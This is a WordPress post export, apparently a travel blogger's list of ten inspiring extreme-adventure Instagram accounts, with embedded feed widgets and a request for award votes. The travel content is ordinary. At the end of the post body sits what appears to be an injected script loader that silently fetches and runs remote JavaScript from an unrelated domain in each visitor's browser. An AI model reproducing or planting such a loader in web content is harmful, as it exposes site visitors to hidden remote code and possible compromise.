{"id":1912,"date":"2017-02-13T10:43:25","date_gmt":"2017-02-13T09:43:25","guid":{"rendered":"http:\/\/timbogdanov.com\/?p=1912"},"modified":"2025-10-21T13:52:45","modified_gmt":"2025-10-21T11:52:45","slug":"top-10-most-inspiring-extreme-travel-instagram-accounts","status":"publish","type":"post","link":"https:\/\/timbogdanov.com\/?p=1912","title":{"rendered":"Top 10 most inspiring extreme travel instagram accounts"},"content":{"rendered":"<p><b>If you are interested in adventure travel, exploring beyond civilization and outdoor challenges then these accounts\u00a0will give you value. Im following 1122 Instagram accounts and want to share with you some of my hand picked favorites and most inspiring accounts that I have come across on the Instagram platform. <\/b><\/p>\n<p>My guidelines this time have been:<\/p>\n<ul>\n<li>Mental and physical challenges in nature<\/li>\n<li>Value created in text<\/li>\n<li>Visual value<\/li>\n<\/ul>\n<p><strong>No specific order ranking of the accounts. Enjoy!<\/strong><\/p>\n<p>First out is <strong>Fredrika Ek<\/strong> that right now is on a circumnavigation of the planet on her bicycle. She is sharing the bicycletouring experience with a positive mindset on the adventure cycling life.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@thebikeramble\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Mike Horn<\/strong> have been in the adventure game for a long time. He has done a lot of impressive and truly challenging adventures. His latest adventure is Pole2pole and he has just completed the first part. More about that impressive journey in his Instagram feed below.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@mikehornexplorer\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Chris Burkard<\/strong> is maybe not the most extreme adventurer but he knows how to capture beautiful moment beyond civilization just check out his surfing shots from the remote and cold locations across the planet. \u00a0High visual value here!<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@Chrisburkard\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p>I meet <strong>Jesse Dixon<\/strong> last year while resting in Salta, Argentina after climbing volcano Llullaillaco (6741m). He was cycling then, and is still on the road in Colombia right now exploring with his bicycle. Great insights to the bicycletouring life.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@musingsfromthesaddle\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Eskil Digernes<\/strong> is an norwegian photographer that have a great collection of outdoor photos. The visual value is very high indeed.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@digernes\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p>This is my friend <strong>Lars Bengssons<\/strong> account. He has been cycling on and off since 2004 and shares his best captures and stories from those years. Inspirational stuff as usual.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@lostcyclist\" data-is-limit=\"8\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Nate Heald<\/strong> is an accomplished high altitude alpinist from the United States. He spends a lot of his time exploring new routes and unclimbed mountains in Peru. He is also the only one guiding on many of the technical peaks around Cuzco area in Peru.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@nate_heald\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Jenny Tough<\/strong> is a world traveller and adventurer she has cycled, ran, hiked, sailed, trekked, kayaked, skied, surfed, and camped across six continents. Great adventure inspiration from across the planet.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@jennytough\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Kilian Jornet<\/strong> is an inspiration because of his love for the mountains that made him the greatest skyrunner on the planet. During 2017 he will try to set a new speed record on Everest.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@kilianjornet\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p><strong>Dave Watson<\/strong> shares inspiring high altitude mountaineering and skiing photography, check it out.<\/p>\n<p>&nbsp;<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@himalayanskier\" data-is-limit=\"8\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p>If you have an Instagram account that you think should be in here also put up a link in comments and I will update the blogpost with bonus Instagram accounts that belongs in this post!<\/p>\n<p>Bonus accounts:<\/p>\n<p>Jimmy Chin is a climber, skier and photographer, another great Instagram adventure account. Thanks for the tip <a href=\"https:\/\/www.instagram.com\/debruynjoubert\/\">Joubert De bruyn<\/a>\u00a0and enjoy crossing all seven continents!<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@jimmy_chin\" data-is-limit=\"0\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Hope you have enjoyed this blogpost!<\/p>\n<p>&nbsp;<\/p>\n<p>Help me win the male adventurer of the year award in Sweden for 2016, the winner will be decided in mars 2017. Give me a vote far down in this link and choose a female contender \u00a0as well to make the vote count: <a href=\"http:\/\/www.aretsaventyrare.se\/nominerade.html\">http:\/\/www.aretsaventyrare.se\/nominerade.html<\/a><\/p>\n<p>My Instagram account where I post photos, stories and inspiration from my earlier adventures and mystories from my\u00a0ongoing training towards upcoming adventures in 2017.<\/p>\n<div data-is data-is-api=\"https:\/\/timbogdanov.com\/wp-content\/plugins\/elfsight-instashow\/api\/\" data-is-source=\"@timbogdanov\" data-is-limit=\"4\" data-is-cache-media-time=\"0\" data-is-columns=\"4\" data-is-rows=\"2\" data-is-gutter=\"0\" data-is-speed=\"600\" data-is-auto=\"0\" data-is-popup-speed=\"400\" data-is-color-popup-username=\"rgb(0, 142, 255)\" data-is-color-popup-username-hover=\"rgb(37, 181, 255)\" data-is-color-popup-instagram-link=\"rgb(0, 142, 255)\" data-is-color-popup-instagram-link-hover=\"rgb(37, 181, 255)\" data-is-color-popup-counters=\"rgb(0, 0, 0)\" data-is-color-popup-anchor=\"rgb(0, 142, 255)\" data-is-color-popup-anchor-hover=\"rgb(37, 181, 255)\" data-is-color-popup-text=\"rgb(0, 0, 0)\"><\/div>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you are interested in adventure travel, exploring beyond civilization and outdoor challenges then these Instagram accounts might give you some value.<\/p>\n","protected":false},"author":1,"featured_media":1235,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":true,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40,43,41],"tags":[],"class_list":["post-1912","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-educational","category-instagram-lists","category-top-10-lists"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/media.timbogdanov.com\/2016\/03\/cropped-timatacama-1.jpg","jetpack_shortlink":"https:\/\/wp.me\/p1gpBC-uQ","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/1912","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1912"}],"version-history":[{"count":205,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/1912\/revisions"}],"predecessor-version":[{"id":3282,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/posts\/1912\/revisions\/3282"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=\/wp\/v2\/media\/1235"}],"wp:attachment":[{"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1912"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1912"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/timbogdanov.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1912"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}